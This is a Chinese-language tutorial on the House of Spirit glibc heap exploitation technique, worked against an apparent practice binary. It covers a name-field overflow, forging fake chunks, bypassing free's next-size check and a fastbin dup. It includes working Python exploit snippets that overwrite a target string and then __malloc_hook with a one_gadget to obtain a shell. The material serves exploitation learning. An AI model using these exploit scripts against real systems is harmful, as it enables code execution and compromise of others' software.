从零开始的Linux堆利用9 -- House of Spirit

House of Spirit

House of Spirit的核心思路就是,当拥有了一个堆指针的写权限后,通过修改这个指针可以对任意chunk调用free,进一步由这样的能力转化为任意地址写和代码执行的能力。

实践

首先检查一下程序的安全机制

image-20211117125622753

程序运行开始时给出了libc的地址和堆的起始地址

输入age和username两个参数后进入常规的堆菜单

这里对malloc函数有一个限制,申请的大小必须是smallbins,即0x20到0x3f0之间

image-20211117151719808

这个程序的漏洞点在于输入chunk name的地方,允许输入的name长度是0x10,但是m_array本身定义的name字段长度是8,这里发生了溢出导致接下来的ptr可能被覆盖

image-20211117170559182

在GDB中调试一下

image-20211117170724258

这里写的name长度是8个字符

任意地址写

下面首先尝试获取到任意地址写的能力

使用我们之前已经学过的方法

既然我们能够控制堆指针,那我们就可以free掉一个伪造的chunk

可以利用fastbin dup中使用到的方法在想要写的位置附近申请一个chunk

image-20211117202614843

可以看到我们要修改的target上方的0x602018处有我们输入的age

如果将这个值伪造成一个chunk的size

那么我们就可以利用fastbin dup申请这一块的区域

回忆一下,fastbin dup需要free三次相同大小的fastbin,并且之后需要malloc四次

free(a)
free(b)
free(a)

在这个例子中因为每次想要得到一个指针,都需要malloc一次,并通过溢出name修改指针

所以free三次就需要malloc三次

这三个指针都指向我们伪造的chunk中

image-20211118091456807

这样在一个大小为0x200的chunk中伪造了两个0x60大小的chunk

利用fastbin dup的方法free三次之后可以看到fastbin形成了一个环

image-20211118091711393

接下来就是fastbin dup中使用的方法malloc四次,在我们目标的target附近申请一个chunk

image-20211118091900871

完成之后target的字符串被修改为了Much Win

也就是说我们实现了一个任意地址写

age=0x61
name = b"A"*8

chunk_A = malloc(0x1f8, (p64(0)+p64(0x61)+p64(0)*10)*2, name)
chunk_B = malloc(0x68, b"Y"*0x18, name+p64(heap+0x20))
chunk_C = malloc(0x68, b"Y"*0x18, name+p64(heap+0x80))
chunk_D = malloc(0x68, b"Y"*0x18, name+p64(heap+0x20))

free(chunk_B)
free(chunk_C)
free(chunk_D)
#
malloc(0x58, p64(0x602010), name)
malloc(0x58, b'x'*18, name)
malloc(0x58, b'x'*18, name)
malloc(0x58, p64(0)*8 + b'Much Win', name)

但是这里存在一个问题,我们使用了8次malloc才实现这样一个效果

有没有更简单的方法呢?

不如来尝试一下直接在第一次malloc时就直接修改指针指向目标的target处

age = 0x6f
name = b"A"*8

chunk_A = malloc(0x18, b"Y"*0x18, name+p64(0x602010+0x10))
free(chunk_A)

因为栈中存储的指针是chunk的user data部分,所以覆盖的值需要加0x10

这样运行之后在执行free时报错了,gdb直接raise了一个error

image-20211118101013523

注意到这里的backtrace和我们预期中不太一样,报错并不是free的报错

而是munmap_chunk函数出现了错误

image-20211118101219590

使用malloc_chunk &user可以看到这个chunk被解析时的标志位

其中IS_MMAPED是被设置了的

当一个chunk存在这个标志位时,申请时是通过mmap申请而非malloc申请的

同理释放时通过unmmap而非free

这就和我们预期不同了,我们希望它能够free之后进到fastbin中,方便接下来再申请过来

那么修改一下age,从0x6f改为0x61呢?

运行时又出错了,不过这次是free出现的错误

切换到_int_free的frame看一下报错的原因

image-20211118095014262

这里报错提示的是free(): invalid next size (fast)

使用list 4245查看完整的检查内容

image-20211118102130326

这里检查的是chunksize_nomask(chunk_at_offset(p,size))<=2*SIZE_SZ以及chunksize(chukn_at_offset(p,size))>= av->system_mem

也就是说我们伪造的chunk之后的内容,是否小于2*SIZE_SZ或大于整个系统的内存

在我们伪造的chunk之后的内容正好是0,所以不满足第一个条件

image-20211118103229435

这里实际上检查的是绿色方框的内容,可以注意到再后面就是username存储的位置

如果我们设置大小为0x71,并且把username设置为一个合适的大小,或许就可以绕过这个检查了

age = 0x71
username = p64(0)+p64(0x20ff1)
name = b"A"*8

chunk_A = malloc(0x18, b"Y"*0x18, name+p64(0x602010+0x10))
free(chunk_A)

这里填的一个值是Top chunk的大小,这次运行没有报错

那么接下来直接malloc一个0x70大小的chunk就可以修改target的值了

target = malloc(0x68, p64(0)*8 + b"Much Win",name)

这样我们就只利用两次malloc实现了写的操作

image-20211118104626857

这种方法有几个地方需要确保:

  • Fake Size的IS_MAPPEDNON_MAIN_ARENAUNUSED位都需要清零;
  • 需要能控制fake chunk后面的nextsize

代码执行

那么接下来就是尝试将任意地址写转换成代码执行

这部分的核心思路是申请到_malloc_hook附近的chunk,进而修改_malloc_hook

直接使用fastbin_dup中的方法就可以实现

image-20211118134724392

在malloc_hook附近查找有没有可以伪造的chunk

然后直接改一下利用fastbin dup写的目标地址和size

malloc_hook覆盖成一个one_gadget的地址

image-20211118140635287

name = b"A"*8
chunk_A = malloc(0x68, b"Y"*0x18, name)
chunk_B = malloc(0x68, b"Y"*0x18, name)
chunk_C = malloc(0x68, b"Y"*0x18, name+p64(heap+0x10))

free(chunk_A)
free(chunk_B)
free(chunk_C)

malloc(0x68, p64(libc.sym.__malloc_hook - 0x23), name)
malloc(0x68, b'x'*18, name)
malloc(0x68, b'x'*18, name)
#  malloc(0x68,b'\x00'*0x13 + p64(libc.sym.system),name)
malloc(0x68, b'B'*0x13 + p64(libc.address+0xe1fa1) , name)

尝试了一下把__malloc_hook改成system,但是发现不管用

最后还是使用 one_gadget了

最后再调用一次malloc就可以获取到一个shell